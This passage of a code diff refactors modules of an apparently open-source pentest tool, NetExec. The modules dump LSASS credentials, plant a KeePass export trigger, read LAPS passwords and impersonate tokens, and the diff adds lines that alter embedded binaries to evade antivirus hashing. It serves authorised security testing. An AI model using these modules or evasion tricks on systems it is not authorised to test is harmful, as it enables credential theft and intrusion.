+                context.log.warning(f"Failed to query Root DSE for defaultNamingContext over plaintext LDAP: {e}")
+
+            if not base_dn:
+                domain_parts = connection.domain.split(".")
+                base_dn = ",".join([f"dc={part}" for part in domain_parts])
+                context.log.info(f"Derived base DN: {base_dn}")
+
+            ldap_connection.base_dn = base_dn
+            return ldap_connection
+
+        except Exception as ldap_error:
+            context.log.error(f"Failed to connect to LDAP: {ldap_error}")
+
+        return None
+
+    def resolve_sid(self, context, sid, ldap_connection):
+        """Resolves a SID to a human-readable name using well-known mappings or LDAP queries."""
+        if sid in self.WELL_KNOWN_SIDS:
+            return self.WELL_KNOWN_SIDS[sid]
+
+        if ldap_connection and ldap_connection.bound:
+            try:
+                base_dn = getattr(ldap_connection, "base_dn", None)
+                if not base_dn:
+                    context.log.warning(f"No base DN found for LDAP connection. Cannot resolve SID {sid}.")
+                    return sid
+
+                search_filter = f"(objectSid={ldap3.utils.conv.escape_filter_chars(sid)})"
+                ldap_connection.search(
+                    search_base=base_dn,
+                    search_filter=search_filter,
+                    attributes=["sAMAccountName"],
+                )
+
+                if ldap_connection.entries:
+                    entry = ldap_connection.entries[0]
+                    return f"{entry['sAMAccountName']}"
+                else:
+                    context.log.warning(f"SID {sid} not found in LDAP. Returning raw SID.")
+
+            except Exception as e:
+                context.log.error(f"Failed to resolve SID {sid} via LDAP: {e}")
+        else:
+            context.log.warning(f"LDAP connection not established or unbound. Returning raw SID: {sid}")
+
+        return sid

nxc/modules/group-mem.py

@@ -1,5 +1,6 @@
 from impacket.ldap import ldapasn1 as ldapasn1_impacket
 import sys
+from nxc.helpers.misc import CATEGORY
 
 
 class NXCModule:
@@ -11,15 +12,17 @@ class NXCModule:
     """
 
     name = "group-mem"
-    description = "Retrieves all the members within a Group"
+    description = "[REMOVED] Retrieves all the members within a Group"
     supported_protocols = ["ldap"]
-    opsec_safe = True
-    multiple_hosts = False
+    category = CATEGORY.ENUMERATION
+
     primaryGroupID = ""
     answers = []
 
     def options(self, context, module_options):
-        """
+        r"""
+        [REMOVED] Use the ldap flag '--groups "Administrators"' instead of the module group-mem.
+
         group-mem: Specify group-mem to call the module
         GROUP: Specify the GROUP option to query for that group's members
         Usage: nxc ldap $DC-IP -u Username -p Password -M group-mem -o GROUP="domain admins"
@@ -34,6 +37,9 @@ class NXCModule:
             sys.exit(1)
 
     def on_login(self, context, connection):
+        context.log.fail("[REMOVED] Use the ldap flag '--groups \"Administrators\"' instead of the module group-mem.")
+        return None
+
         # First look up the SID of the group passed in
         search_filter = "(&(objectCategory=group)(cn=" + self.GROUP + "))"
         attribute = "objectSid"
@@ -68,7 +74,7 @@ class NXCModule:
 def do_search(self, context, connection, searchFilter, attributeName):
     try:
         context.log.debug(f"Search Filter={searchFilter}")
-        resp = connection.ldapConnection.search(searchFilter=searchFilter, attributes=[attributeName], sizeLimit=0)
+        resp = connection.ldap_connection.search(searchFilter=searchFilter, attributes=[attributeName], sizeLimit=0)
         context.log.debug(f"Total number of records returned {len(resp)}")
         for item in resp:
             if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:

nxc/modules/groupmembership.py

@@ -1,6 +1,7 @@
 from impacket.ldap import ldapasn1 as ldapasn1_impacket
 from impacket.ldap import ldap as ldap_impacket
 import sys
+from nxc.helpers.misc import CATEGORY
 
 
 class NXCModule:
@@ -15,8 +16,7 @@ class NXCModule:
     name = "groupmembership"
     description = "Query the groups to which a user belongs."
     supported_protocols = ["ldap"]
-    opsec_safe = True
-    multiple_hosts = True
+    category = CATEGORY.ENUMERATION
 
     def options(self, context, module_options):
         """USER	Choose a username to query group membership"""
@@ -37,7 +37,7 @@ class NXCModule:
 
         try:
             context.log.debug(f"Search Filter={searchFilter}")
-            resp = connection.ldapConnection.search(
+            resp = connection.ldap_connection.search(
                 searchFilter=searchFilter,
                 attributes=["memberOf", "primaryGroupID"],
                 sizeLimit=0,

nxc/modules/handlekatz.py

@@ -5,17 +5,17 @@
 import base64
 import re
 import sys
-
+from datetime import datetime
 from nxc.helpers.bloodhound import add_user_bh
-import pypykatz
+from nxc.helpers.misc import CATEGORY
+from pypykatz.pypykatz import pypykatz
 
 
 class NXCModule:
     name = "handlekatz"
     description = "Get lsass dump using handlekatz64 and parse the result with pypykatz"
     supported_protocols = ["smb"]
-    opsec_safe = False
-    multiple_hosts = True
+    category = CATEGORY.CREDENTIAL_DUMPING
 
     def options(self, context, module_options):
         r"""
@@ -34,6 +34,8 @@ class NXCModule:
         self.handlekatz_path = "/tmp/"
         self.dir_result = self.handlekatz_path
         self.useembeded = True
+        # Add some random binary data to defeat AVs which check the file hash
+        self.handlekatz_embeded += datetime.now().strftime("%Y%m%d%H%M%S").encode()
 
         if "HANDLEKATZ_PATH" in module_options:
             self.handlekatz_path = module_options["HANDLEKATZ_PATH"]
@@ -50,7 +52,7 @@ class NXCModule:
 
     def on_admin_login(self, context, connection):
         handlekatz_loc = self.handlekatz_path + self.handlekatz
-        
+
         if self.useembeded:
             try:
                 with open(handlekatz_loc, "wb") as handlekatz:
@@ -78,6 +80,7 @@ class NXCModule:
 
         if not p or p == "None":
             context.log.fail("Failed to execute command to get LSASS PID")
+            self.delete_handlekatz_binary(connection, context)
             return
         # we get a CSV string back from `tasklist`, so we grab the PID from it
         pid = p.split(",")[1][1:-1]
@@ -96,12 +99,15 @@ class NXCModule:
             context.log.fail("Process lsass.exe error un dump, try with verbose")
             dump = False
 
-        if dump:
+        if not dump:
+            self.delete_handlekatz_binary(connection, context)
+            return
+        else:
             regex = r"([A-Za-z0-9-]*\.log)"
             matches = re.search(regex, str(p), re.MULTILINE)
             if not matches:
                 context.log.display("Error getting the lsass.dmp file name")
-                sys.exit(1)
+                return
 
             machine_name = matches.group()
             context.log.display(f"Copy {machine_name} to host")
@@ -113,12 +119,7 @@ class NXCModule:
                 except Exception as e:
                     context.log.fail(f"Error while get file: {e}")
 
-            try:
-                connection.conn.deleteFile(self.share, self.tmp_share + self.handlekatz)
-                context.log.success(f"Deleted handlekatz file on the {self.share} share")
-            except Exception as e:
-                context.log.fail(f"[OPSEC] Error deleting handlekatz file on share {self.share}: {e}")
-
+            self.delete_handlekatz_binary()
             try:
                 connection.conn.deleteFile(self.share, self.tmp_share + machine_name)
                 context.log.success(f"Deleted lsass.dmp file on the {self.share} share")
@@ -182,3 +183,10 @@ class NXCModule:
                         add_user_bh(credz_bh, None, context.log, connection.config)
                 except Exception as e:
                     context.log.fail(f"Error opening dump file: {e}")
+
+    def delete_handlekatz_binary(self, connection, context):
+        try:
+            connection.conn.deleteFile(self.share, self.tmp_share + self.handlekatz)
+            context.log.success(f"Deleted handlekatz file on the {self.share} share")
+        except Exception as e:
+            context.log.fail(f"[OPSEC] Error deleting handlekatz file on share {self.share}: {e}")

nxc/modules/hash_spider.py

@@ -8,6 +8,7 @@ from lsassy.dumper import Dumper
 from lsassy.parser import Parser
 from lsassy.session import Session
 from lsassy.impacketfile import ImpacketFile
+from nxc.helpers.misc import CATEGORY
 
 credentials_data = []
 found_users = []
@@ -70,11 +71,7 @@ def create_db(local_admins, dbconnection, cursor):
 
 
 def process_creds(context, connection, credentials_data, dbconnection, cursor, driver):
-    if connection.args.local_auth:
-        context.log.extra["host"] = connection.conn.getServerDNSDomainName()
-    else:
-        context.log.extra["host"] = connection.domain
-    context.log.extra["hostname"] = connection.host.upper()
+    domain = connection.conn.getServerDNSDomainName() if connection.args.local_auth else connection.domain
     for result in credentials_data:
         username = result["username"].upper().split("@")[0]
         nthash = result["nthash"]
@@ -85,7 +82,7 @@ def process_creds(context, connection, credentials_data, dbconnection, cursor, d
                 "UPDATE admin_users SET password = ? WHERE username LIKE '" + username + "%'",
                 [password],
             )
-            username = f"{username.upper()}@{context.log.extra['host'].upper()}"
+            username = f"{username.upper()}@{domain.upper()}"
             dbconnection.commit()
             session = driver.session()
             session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned')
@@ -99,7 +96,7 @@ def process_creds(context, connection, credentials_data, dbconnection, cursor, d
                 [nthash],
             )
             dbconnection.commit()
-            username = f"{username.upper()}@{context.log.extra['host'].upper()}"
+            username = f"{username.upper()}@{domain.upper()}"
             session = driver.session()
             session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned')
             path_to_da = session.run("MATCH p=shortestPath((n)-[*1..]->(m)) WHERE n.owned=true AND m.name=~ '.*DOMAIN ADMINS.*' RETURN p")
@@ -134,8 +131,7 @@ class NXCModule:
     name = "hash_spider"
     description = "Dump lsass recursively from a given hash using BH to find local admins"
     supported_protocols = ["smb"]
-    opsec_safe = True
-    multiple_hosts = True
+    category = CATEGORY.PRIVILEGE_ESCALATION
 
     def __init__(self, context=None, module_options=None):
         self.context = context
@@ -146,7 +142,7 @@ class NXCModule:
 
     @staticmethod
     def save_credentials(context, connection, domain, username, password, lmhash, nthash):
-        host_id = context.db.get_computers(connection.host)[0][0]
+        host_id = context.db.get_hosts(connection.host)[0][0]
         if password is not None:
             credential_type = "plaintext"
         else:
@@ -202,7 +198,7 @@ class NXCModule:
         if file is None:
             context.log.fail("Unable to dump lsass")
             return False
-        credentials, tickets, masterkeys = Parser(file).parse()
+        credentials, tickets, masterkeys = Parser(host, file).parse()
         file.close()
         ImpacketFile.delete(session, file.get_file_path())
         if credentials is None:

nxc/modules/hyperv-host.py

@@ -0,0 +1,53 @@
+from impacket.dcerpc.v5.rpcrt import DCERPCException
+from impacket.dcerpc.v5 import rrp
+from impacket.examples.secretsdump import RemoteOperations
+from nxc.helpers.misc import CATEGORY
+
+
+class NXCModule:
+    """Module by @joaovarelas"""
+
+    name = "hyperv-host"
+    description = "Performs a registry query on the VM to lookup its HyperV Host"
+    supported_protocols = ["smb"]
+    category = CATEGORY.ENUMERATION
+
+    def __init__(self, context=None, module_options=None):
+        self.context = context
+        self.module_options = module_options
+
+    def options(self, context, module_options):
+        """"""
+
+    def on_admin_login(self, context, connection):
+        self.context = context
+
+        path = "SOFTWARE\\Microsoft\\Virtual Machine\\Guest\\Parameters"
+        key = "HostName"
+
+        try:
+            remote_ops = RemoteOperations(connection.conn, False)
+            remote_ops.enableRegistry()
+
+            ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
+            reg_handle = ans["phKey"]
+
+            # Query
+            try:
+                ans = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, path)
+                key_handle = ans["phkResult"]
+
+                data_type, reg_value = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, key)
+                self.context.log.highlight(f"{key}: {reg_value}")
+
+                rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
+
+            except DCERPCException as e:
+                self.context.log.debug(f"Registry key {path}\\{key} does not exist: {e}")
+
+        except DCERPCException as e:
+            self.context.log.fail(f"DCERPC Error while querying registry: {e}")
+        except Exception as e:
+            self.context.log.fail(f"Error while querying registry: {e}")
+        finally:
+            remote_ops.finish()

nxc/modules/iis.py

@@ -1,3 +1,6 @@
+from nxc.helpers.misc import CATEGORY
+
+
 class NXCModule:
     """
     Checks for credentials in IIS Application Pool configuration files using appcmd.exe.
@@ -8,14 +11,10 @@ class NXCModule:
     name = "iis"
     description = "Checks for credentials in IIS Application Pool configuration files using appcmd.exe"
     supported_protocols = ["smb"]
-    opsec_safe = True
-    multiple_hosts = True
-
-    def __init__(self):
-        pass
+    category = CATEGORY.CREDENTIAL_DUMPING
 
     def options(self, context, module_options):
-        pass
+        """No options available"""
 
     def on_admin_login(self, context, connection):
         self.check_appcmd(context, connection)
@@ -37,7 +36,7 @@ class NXCModule:
             return
 
     def execute_appcmd(self, context, connection):
-        command = "powershell -c 'C:\\windows\\system32\\inetsrv\\appcmd.exe list apppool /@t:*'"
+        command = 'powershell -c "C:\\windows\\system32\\inetsrv\\appcmd.exe list apppool /@t:*"'
         context.log.info("Checking For Hidden Credentials With Appcmd.exe")
         output = connection.execute(command, True)
 

nxc/modules/impersonate.py

@@ -6,7 +6,8 @@
 from base64 import b64decode
 from os import path
 import sys
-
+from datetime import datetime
+from nxc.helpers.misc import CATEGORY
 from nxc.paths import DATA_PATH
 
 
@@ -14,8 +15,7 @@ class NXCModule:
     name = "impersonate"
     description = "List and impersonate tokens to run command as locally logged on users"
     supported_protocols = ["smb"]
-    opsec_safe = True  # could be flagged
-    multiple_hosts = True
+    category = CATEGORY.PRIVILEGE_ESCALATION
 
     def options(self, context, module_options):
         """
@@ -29,8 +29,13 @@ class NXCModule:
         self.impersonate = "Impersonate.exe"
         self.useembeded = True
         self.token = self.cmd = ""
+
         with open(path.join(DATA_PATH, ("impersonate_module/impersonate.bs64"))) as impersonate_file:
             self.impersonate_embedded = b64decode(impersonate_file.read())
+
+        # Add some random binary data to defeat AVs which check the file hash
+        self.impersonate_embedded += datetime.now().strftime("%Y%m%d%H%M%S").encode()
+
         if "EXEC" in module_options:
             self.cmd = module_options["EXEC"]
 

nxc/modules/install_elevated.py

@@ -1,14 +1,14 @@
 from impacket.dcerpc.v5 import rrp
 from impacket.dcerpc.v5 import scmr
 from impacket.examples.secretsdump import RemoteOperations
+from nxc.helpers.misc import CATEGORY
 
 
 class NXCModule:
     name = "install_elevated"
     description = "Checks for AlwaysInstallElevated"
     supported_protocols = ["smb"]
-    opsec_safe = True
-    multiple_hosts = True
+    category = CATEGORY.ENUMERATION
 
     def options(self, context, module_options):
         """ """

nxc/modules/ioxidresolver.py

@@ -0,0 +1,49 @@
+# Credit to https://airbus-cyber-security.com/fr/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/
+# Airbus CERT
+# module by @mpgn_x64
+# updated by @NeffIsBack
+
+from ipaddress import ip_address
+from impacket.dcerpc.v5 import transport
+from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_NONE, DCERPCException
+from impacket.dcerpc.v5.dcomrt import IObjectExporter
+from nxc.helpers.misc import CATEGORY
+
+
+class NXCModule:
+    name = "ioxidresolver"
+    description = "This module helps you to identify hosts that have additional active interfaces"
+    supported_protocols = ["smb", "wmi"]
+    category = CATEGORY.ENUMERATION
+
+    def options(self, context, module_options):
+        """DIFFERENT show only ip address if different from target ip (Default: False)"""
+        self.pivot = module_options.get("DIFFERENT", "false").lower() in ["true", "1"]
+
+    def on_login(self, context, connection):
+        try:
+            rpctransport = transport.DCERPCTransportFactory(f"ncacn_ip_tcp:{connection.host}")
+            rpctransport.setRemoteHost(connection.host)
+
+            portmap = rpctransport.get_dce_rpc()
+            portmap.set_auth_level(RPC_C_AUTHN_LEVEL_NONE)
+            portmap.connect()
+
+            objExporter = IObjectExporter(portmap)
+            bindings = objExporter.ServerAlive2()
+
+            context.log.debug(f"Retrieving network interface of {connection.host}")
+
+            for binding in bindings:
+                NetworkAddr = binding["aNetworkAddr"]
+                try:
+                    ip_address(NetworkAddr[:-1])
+                    if self.pivot:
+                        if NetworkAddr.rstrip("\x00") != connection.host:
+                            context.log.highlight(f"Address: {NetworkAddr}")
+                    else:
+                        context.log.highlight(f"Address: {NetworkAddr}")
+                except Exception as e:
+                    context.log.debug(e)
+        except DCERPCException as e:
+            context.log.error(f"DCERPCException error: {e}")

nxc/modules/keepass_discover.py

@@ -1,4 +1,5 @@
 from csv import reader
+from nxc.helpers.misc import CATEGORY
 
 
 class NXCModule:
@@ -12,8 +13,7 @@ class NXCModule:
     name = "keepass_discover"
     description = "Search for KeePass-related files and process."
     supported_protocols = ["smb"]
-    opsec_safe = True  # only legitimate commands are executed on the remote host (search process and files)
-    multiple_hosts = True
+    category = CATEGORY.ENUMERATION
 
     def __init__(self):
         self.search_type = "ALL"

nxc/modules/keepass_trigger.py

@@ -1,13 +1,13 @@
 import os
 import sys
-import json
-from xmltodict import parse
 from time import sleep
 from csv import reader
 from base64 import b64encode
 from io import BytesIO, StringIO
-from xml.etree import ElementTree
+from xml.etree import ElementTree as ET
+from nxc.helpers.misc import CATEGORY
 from nxc.helpers.powershell import get_ps_script
+from nxc.paths import TMP_PATH
 
 
 class NXCModule:
@@ -22,11 +22,10 @@ class NXCModule:
     name = "keepass_trigger"
     description = "Set up a malicious KeePass trigger to export the database in cleartext."
     supported_protocols = ["smb"]
+    category = CATEGORY.CREDENTIAL_DUMPING
     # while the module only executes legit powershell commands on the target (search and edit files)
     # some EDR like Trend Micro flag base64-encoded powershell as malicious
     # the option PSH_EXEC_METHOD can be used to avoid such execution, and will drop scripts on the target
-    opsec_safe = False
-    multiple_hosts = False
 
     def __init__(self):
         # module options
@@ -41,7 +40,7 @@ class NXCModule:
         self.share = "C$"
         self.remote_temp_script_path = "C:\\Windows\\Temp\\temp.ps1"
         self.keepass_binary_path = "C:\\Program Files\\KeePass Password Safe 2\\KeePass.exe"
-        self.local_export_path = "/tmp"
+        self.local_export_path = TMP_PATH
         self.trigger_name = "export_database"
         self.poll_frequency_seconds = 5
         self.dummy_service_name = "OneDrive Sync KeePass"
@@ -360,7 +359,7 @@ class NXCModule:
             sys.exit(1)
 
         try:
-            keepass_config_xml_root = ElementTree.fromstring(buffer.getvalue())
+            keepass_config_xml_root = ET.fromstring(buffer.getvalue())
         except Exception as e:
             context.log.fail(f"Error while parsing file '{self.keepass_config_path}', exiting: {e}")
             sys.exit(1)
@@ -379,30 +378,32 @@ class NXCModule:
 
     def extract_password(self, context):
         xml_doc_path = os.path.abspath(self.local_export_path + "/" + self.export_name)
-        xml_tree = ElementTree.parse(xml_doc_path)
+        xml_tree = ET.parse(xml_doc_path)
         root = xml_tree.getroot()
-        to_string = ElementTree.tostring(root, encoding="UTF-8", method="xml")
-        xml_to_dict = parse(to_string)
-        dump = json.dumps(xml_to_dict)
-        obj = json.loads(dump)
 
-        if len(obj["KeePassFile"]["Root"]["Group"]["Entry"]):
-            for obj2 in obj["KeePassFile"]["Root"]["Group"]["Entry"]:
-                for password in obj2["String"]:
-                    if password["Key"] == "Password":
-                        context.log.highlight(str(password["Key"]) + " : " + str(password["Value"]["#text"]))
-                    else:
-                        context.log.highlight(str(password["Key"]) + " : " + str(password["Value"]))
-                context.log.highlight("")
-        if len(obj["KeePassFile"]["Root"]["Group"]["Group"]):
-            for obj2 in obj["KeePassFile"]["Root"]["Group"]["Group"]:
-                try:
-                    for obj3 in obj2["Entry"]:
-                        for password in obj3["String"]:
-                            if password["Key"] == "Password":
-                                context.log.highlight(str(password["Key"]) + " : " + str(password["Value"]["#text"]))
-                            else:
-                                context.log.highlight(str(password["Key"]) + " : " + str(password["Value"]))
-                        context.log.highlight("")
-                except KeyError:
-                    pass
+        root_entries = root.find("./Root/Entry")
+        if root_entries is not None:
+            for entry in root_entries:
+                if entry is not None:
+                    self.print_password(context, entry)
+                else:
+                    context.log.highlight("None")
+
+        objects = root.findall("./Root/Group")
+        while objects:
+            current_object = objects.pop(0)
+            for entry in current_object.findall("./Entry"):
+                self.print_password(context, entry)
+                for history in entry.findall("./History"):
+                    for history_entry in history.findall("./Entry"):
+                        self.print_password(context, history_entry)
+            objects.extend(current_object.findall("./Group"))
+
+    def print_password(self, context, entries):
+        for entry in entries.findall("./String"):
+            key = entry.find("./Key")
+            value = entry.find("./Value")
+            key_text = key.text if key is not None else "None"
+            value_text = value.text if value is not None and value.text is not None else "None"
+            context.log.highlight(f"{key_text} : {value_text}")
+        context.log.highlight("-------------------------------------")

nxc/modules/laps.py

@@ -1,6 +1,7 @@
 import json
 
 from impacket.ldap import ldapasn1 as ldapasn1_impacket
+from nxc.helpers.misc import CATEGORY
 from nxc.protocols.ldap.laps import LAPSv2Extract
 
 
@@ -17,8 +18,7 @@ class NXCModule:
     name = "laps"
     description = "Retrieves all LAPS passwords which the account has read permissions for."
     supported_protocols = ["ldap"]
-    opsec_safe = True
-    multiple_hosts = False
+    category = CATEGORY.CREDENTIAL_DUMPING
 
     def options(self, context, module_options):
         """COMPUTER    Computer name or wildcard ex: WIN-S10, WIN-* etc. Default: *"""
@@ -45,12 +45,12 @@ class NXCModule:
                 values = {str(attr["type"]).lower(): attr["vals"][0] for attr in computer["attributes"]}
                 if "mslaps-encryptedpassword" in values:
                     msMCSAdmPwd = values["mslaps-encryptedpassword"]
-                    d = LAPSv2Extract(bytes(msMCSAdmPwd), connection.username if connection.username else "", connection.password if connection.password else "", connection.domain, connection.nthash if connection.nthash else "", connection.kerberos, connection.kdcHost, 339)
+                    d = LAPSv2Extract(bytes(msMCSAdmPwd), connection.username if connection.username else "", connection.password if connection.password else "", connection.domain, connection.nthash if connection.nthash else "", connection.kerberos, connection.kdcHost, 339, connection.dns_server)
                     try:
                         data = d.run()
                     except Exception as e:
-                        self.logger.fail(str(e))
-                        return
+                        context.log.fail(str(e))
+                        continue
                     r = json.loads(data)
                     laps_computers.append((str(values["samaccountname"]), r["n"], str(r["p"])))
                 elif "mslaps-password" in values:

nxc/modules/ldap-checker.py

@@ -1,6 +1,8 @@
 import socket
 import ssl
 import asyncio
+import hashlib
+import random
 
 from msldap.connection import MSLDAPClientConnection
 from msldap.commons.target import MSLDAPTarget
@@ -10,168 +12,249 @@ from asyauth.common.credentials.ntlm import NTLMCredential
 from asyauth.common.credentials.kerberos import KerberosCredential
 
 from asysocks.unicomm.common.target import UniTarget, UniProto
-import sys
+import contextlib
+from nxc.helpers.misc import CATEGORY
 
 
 class NXCModule:
     """
-    Checks whether LDAP signing and channelbinding are required.
+    Checks whether LDAP signing and LDAPS channel binding are required and/or enforced.
 
-    Module by LuemmelSec (@theluemmel), updated by @zblurx
+    Module by LuemmelSec (@theluemmel), updated by @zblurx/@Mercury0
     Original work thankfully taken from @zyn3rgy's Ldap Relay Scan project: https://github.com/zyn3rgy/LdapRelayScan
     """
-
     name = "ldap-checker"
-    description = "Checks whether LDAP signing and binding are required and / or enforced"
+    description = "[REMOVED] Checks whether LDAP signing and channel binding are required and / or enforced"
     supported_protocols = ["ldap"]
-    opsec_safe = True
-    multiple_hosts = True
+    category = CATEGORY.ENUMERATION
 
     def options(self, context, module_options):
         """No options available."""
 
-    def on_login(self, context, connection):
-        # Conduct a bind to LDAPS and determine if channel
-        # binding is enforced based on the contents of potential
-        # errors returned. This can be determined unauthenticated,
-        # because the error indicating channel binding enforcement
-        # will be returned regardless of a successful LDAPS bind.
-        async def run_ldaps_noEPA(target, credential):
-            ldapsClientConn = MSLDAPClientConnection(target, credential)
-            _, err = await ldapsClientConn.connect()
-            if err is not None:
-                context.log.fail("ERROR while connecting to " + str(connection.domain) + ": " + str(err))
-                sys.exit()
-            _, err = await ldapsClientConn.bind()
-            if "data 80090346" in str(err):
-                return True  # channel binding IS enforced
-            elif "data 52e" in str(err):
-                return False  # channel binding not enforced
-            elif err is None:
-                # LDAPS bind successful
-                # because channel binding is not enforced
-                return False
+    # Conduct a bind to LDAPS and determine if channel
+    # binding is enforced based on the contents of potential
+    # errors returned. This can be determined unauthenticated,
+    # because the error indicating channel binding enforcement
+    # will be returned regardless of a successful LDAPS bind.
+    async def run_ldaps_noEPA(self, context, connection, target, credential):
+        try:
+            client = MSLDAPClientConnection(target, credential)
+            _, err = await client.connect()
+            if err:
+                context.log.debug(f"Error connecting to {connection.domain}: {err}")
+                return None
 
-        # Conduct a bind to LDAPS with channel binding supported
-        # but intentionally miscalculated. In the case that and
-        # LDAPS bind has without channel binding supported has occurred,
-        # you can determine whether the policy is set to "never" or
-        # if it's set to "when supported" based on the potential
-        # error received from the bind attempt.
-        async def run_ldaps_withEPA(target, credential):
-            ldapsClientConn = MSLDAPClientConnection(target, credential)
-            _, err = await ldapsClientConn.connect()
-            if err is not None:
-                context.log.fail("ERROR while connecting to " + str(connection.domain) + ": " + str(err))
-                sys.exit()
-            # forcing a miscalculation of the "Channel Bindings" av pair in Type 3 NTLM message
-            ldapsClientConn.cb_data = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
-            _, err = await ldapsClientConn.bind()
-            if "data 80090346" in str(err):
-                return True
-            elif "data 52e" in str(err):
-                return False
-            elif err is not None:
-                context.log.fail("ERROR while connecting to " + str(connection.domain) + ": " + str(err))
+            client.cb_data = None
+            _, err = await client.bind()
+            if err and "data 80090346" in str(err):
+                return True  # -> channel binding IS enforced
+            elif err and "data 52e" in str(err):
+                return False  # -> channel binding not enforced
             elif err is None:
-                return False
+                return False  # LDAPS bind successful -> channel binding not enforced
+            else:
+                context.log.debug(f"Unexpected error during LDAPS bind (noEPA): {err}")
+                return None
+        except Exception as e:
+            context.log.debug(f"Exception in run_ldaps_noEPA: {e}")
+            return None
+        finally:
+            with contextlib.suppress(Exception):
+                await client.disconnect()
+
+    # Conduct a bind to LDAPS with channel binding supported
+    # but intentionally miscalculated. In the case that an
+    # LDAPS bind without channel binding supported has occurred,
+    # you can determine whether the policy is set to "never" or
+    # if it's set to "when supported" based on the potential
+    # error received from the bind attempt.
+    async def run_ldaps_withEPA(self, context, connection, target, credential):
+        try:
+            client = MSLDAPClientConnection(target, credential)
+            _, err = await client.connect()
+            if err:
+                context.log.fail(f"Error connecting to {connection.domain}: {err}")
+                return None
 
-        # Domain Controllers do not have a certificate setup for
-        # LDAPS on port 636 by default. If this has not been setup,
-        # the TLS handshake will hang and you will not be able to
-        # interact with LDAPS. The condition for the certificate
-        # existing as it should is either an error regarding
-        # the fact that the certificate is self-signed, or
-        # no error at all. Any other "successful" edge cases
-        # not yet accounted for.
-        def DoesLdapsCompleteHandshake(dcIp):
-            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
-            s.settimeout(5)
-            ssl_sock = ssl.wrap_socket(
-                s,
-                cert_reqs=ssl.CERT_OPTIONAL,
-                suppress_ragged_eofs=False,
-                do_handshake_on_connect=False,
-            )
-            ssl_sock.connect((dcIp, 636))
             try:
-                ssl_sock.do_handshake()
-                ssl_sock.close()
-                return True
-            except Exception as e:
-                if "CERTIFICATE_VERIFY_FAILED" in str(e):
-                    ssl_sock.close()
-                    return True
-                if "handshake operation timed out" in str(e):
-                    ssl_sock.close()
-                    return False
+                context.log.debug("Retrieving TLS certificate hash...")
+                ssl_context = ssl.create_default_context()
+                ssl_context.check_hostname = False
+                ssl_context.verify_mode = ssl.CERT_NONE
+
+                with socket.create_connection((connection.host, 636)) as sock, ssl_context.wrap_socket(sock, server_hostname=connection.host) as ssl_sock:
+                    cert = ssl_sock.getpeercert(binary_form=True)
+
+                if cert:
+                    cert_hash = hashlib.sha256(cert).digest()
+                    context.log.debug(f"Original certificate hash: {cert_hash.hex()}")
+                    pos = random.randint(0, len(cert_hash) - 1)
+                    tampered_bytes = bytearray(cert_hash)
+                    tampered_bytes[pos] = (tampered_bytes[pos] + 1) % 256
+                    context.log.debug(f"Tampered certificate hash: {bytes(tampered_bytes).hex()}")
+                    context.log.debug(f"Modified byte at position {pos}")
+                    client.cb_data = b"tls-server-end-point:" + bytes(tampered_bytes)
                 else:
-                    context.log.fail("Unexpected error during LDAPS handshake: " + str(e))
-                    ssl_sock.close()
-                    return False
+                    client.cb_data = b"\x00" * 64
+            except Exception as e:
+                context.log.debug(f"Failed to retrieve TLS certificate hash: {e}")
+                client.cb_data = b"\x00" * 64
 
-        # Conduct and LDAP bind and determine if server signing
-        # requirements are enforced based on potential errors
-        # during the bind attempt.
-        async def run_ldap(target, credential):
-            ldapsClientConn = MSLDAPClientConnection(target, credential)
-            _, err = await ldapsClientConn.connect()
-            if err is None:
-                _, err = await ldapsClientConn.bind()
-                if "stronger" in str(err):
-                    return True  # because LDAP server signing requirements ARE enforced
-                elif ("data 52e") in str(err):
-                    context.log.fail("Not connected... exiting")
-                    sys.exit()
-                elif err is None:
-                    return False
+            _, err = await client.bind()
+            if err and "data 80090346" in str(err):
+                return True
+            elif (err and "data 52e" in str(err)) or err is None:
+                return False
             else:
-                context.log.fail(str(err))
+                context.log.fail(f"Unexpected error during LDAPS bind (withEPA): {err}")
+                return None
+        except Exception as e:
+            context.log.fail(f"Exception in run_ldaps_withEPA: {e}")
+            return None
 
-        # Run trough all our code blocks to determine LDAP signing and channel binding settings.
-        stype = asyauthSecret.PASS if not connection.nthash else asyauthSecret.NT
-        secret = connection.password if not connection.nthash else connection.nthash
-        if not connection.kerberos:
-            credential = NTLMCredential(
-                secret=secret,
-                username=connection.username,
-                domain=connection.domain,
-                stype=stype,
-            )
-        else:
-            kerberos_target = UniTarget(connection.hostname + "." + connection.domain, 88, UniProto.CLIENT_TCP, proxies=None, dns=None, dc_ip=connection.domain, domain=connection.domain)
-            credential = KerberosCredential(
-                target=kerberos_target,
-                secret=secret,
-                username=connection.username,
-                domain=connection.domain,
-                stype=stype,
-            )
-
-        target = MSLDAPTarget(connection.host, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain)
-        ldapIsProtected = asyncio.run(run_ldap(target, credential))
-
-        if ldapIsProtected is False:
-            context.log.highlight("LDAP Signing NOT Enforced!")
-        elif ldapIsProtected is True:
-            context.log.fail("LDAP Signing IS Enforced")
-        else:
-            context.log.fail("Connection fail, exiting now")
-            sys.exit()
-
-        if DoesLdapsCompleteHandshake(connection.host) is True:
-            target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain)
-            ldapsChannelBindingAlwaysCheck = asyncio.run(run_ldaps_noEPA(target, credential))
-            target = MSLDAPTarget(connection.host, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain)
